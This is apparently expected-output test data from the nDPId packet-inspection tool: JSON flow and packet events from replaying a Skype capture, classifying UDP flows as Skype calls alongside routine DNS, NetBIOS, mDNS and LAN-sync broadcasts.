+00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":681,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.160","src_port":13021,"dst_port":40030,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":682,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.12","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":78,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":682,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":850367,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1mAEAAEART6jAqAEinTg0DDLdnF8AIfBgevkCw9fuW226FZ\/i0VkBrMngLZ\/OvlepsQ=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":682,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.12","src_port":13021,"dst_port":40031,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":683,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.143","src_port":13021,"dst_port":40018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":79,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":683,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":850440,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAT+gAAEAREWjAqAEiQAQXjzLdnFIALKj4evsCuV\/AUAbJFwXr2TpK\/p9BHGpZ+kg1tywBGmcFc5l3l+UA"} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":683,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.143","src_port":13021,"dst_port":40018,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":684,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.174","src_port":13021,"dst_port":40025,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":80,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":684,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":850441,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5DD0AAEARIzfAqAEi1cezrjLdnFkAJTHjev0CDsFSgVTjU3l7SB\/6pLcIO\/MFhUO5HKYdIt4="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":684,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.174","src_port":13021,"dst_port":40025,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00513{"flow_id":73,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":685,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":868482,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"0NQSxnP1PBXCt3IOCABFAABsOfhAAEAGtf7AqAEinTfrk8gmAbvxz5zEZu7sLYAYECxFrAAAAQEICj4xyaVMYEfZsJPOrYWxbQ2kS5GoHYZTSJUEAhUVjQ9Suc6gMln7jVEiXtQHYU+2Wg9JNG\/SECNBnGag8RNJ4KY="} +00448{"flow_id":59,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":686,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":950739,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8WcBAAEAGlmbAqAEinTfrk8ginEEPp73th03onYAYECk3\/QAAAQEICj4xyfdMYEZOu98xvI+OKgs="} +00434{"flow_id":75,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":687,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":972533,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0BRlAADYGw9Zv3UotwKgBIgG7yCgNTasMSHrP+4AQAB1dYgAAAQEICk2HrhU+Mcjn"} +00517{"flow_id":75,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":688,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":972643,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"0NQSxnP1PBXCt3IOCABFAABu6gpAAEAG1KrAqAEib91KLcgoAbtIes\/7DU2rDIAYECyArAAAAQEICj4xygxNh64VXoBGQFpplMys2JWIO4+I29OA4cPWkJJGByBiX+YJVXNQ2TREXlwyKhu2PLot6b6UkyYNEZ8cQhCRbQ=="} +00446{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":689,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":994150,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7MH8AAEARxr\/AqAEiwKgBAcLIADUAJ6plKNsBAAABAAAAAAAAA2FwaQVza3lwZQNjb20AABwAAQ=="} +00446{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":690,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970651,"pkt_ts_usec":994234,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7\/FwAAEAR+uHAqAEiwKgBAfrwADUAJ8Zq760BAAABAAAAAAAAA2FwaQVza3lwZQNjb20AAAEAAQ=="} +00445{"flow_id":61,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":691,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":62750,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8p89AAEAGFxjAqAEib91KLcgknEjYMAoJdih2JIAYEClifgAAAQEICj4xymZNh6yILYCuK5us2zw="} +00521{"flow_id":74,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":692,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970652,"pkt_ts_usec":164974,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABxJMBAAEAGM5jAqAEiQTffLcgnAbvOrma7ApkXD4AYECx0mwAAAQEICj4xysxNlOpApvNYMEQS5cpK5u6346cd8BL2N20dvzqenZJMFcn1yRtBVTFQ\/i2ToNXpC7XoSTbRK6UPDCtXBWtUo6jCxA=="} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1431970649778,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.25","src_port":13021,"dst_port":40010,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.19","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.27","src_port":13021,"dst_port":40025,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.12","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.39","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1431970648979,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1431970648880,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1431970648982,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1431970648880,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1431970643669,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1431970643670,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1431970644120,"flow_last_seen":0,"flow_tot_l4_data_len":108,"flow_min_l4_data_len":108,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":108,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.65","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.165","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.173","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.143","src_port":13021,"dst_port":40018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.145","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1431970643670,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":53826,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1431970651850,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.33","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.44","src_port":13021,"dst_port":40019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.143","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.15","src_port":13021,"dst_port":40026,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1431970646799,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.34","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1431970645790,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.33","src_port":13021,"dst_port":40002,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.13","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.28","src_port":13021,"dst_port":40014,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.44","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.32","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1431970647810,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.17","src_port":13021,"dst_port":40025,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1431970648822,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.145","src_port":13021,"dst_port":40008,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1431970649777,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.171","src_port":13021,"dst_port":40012,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1431970650786,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.154","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":693,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1431970644777,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.170","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 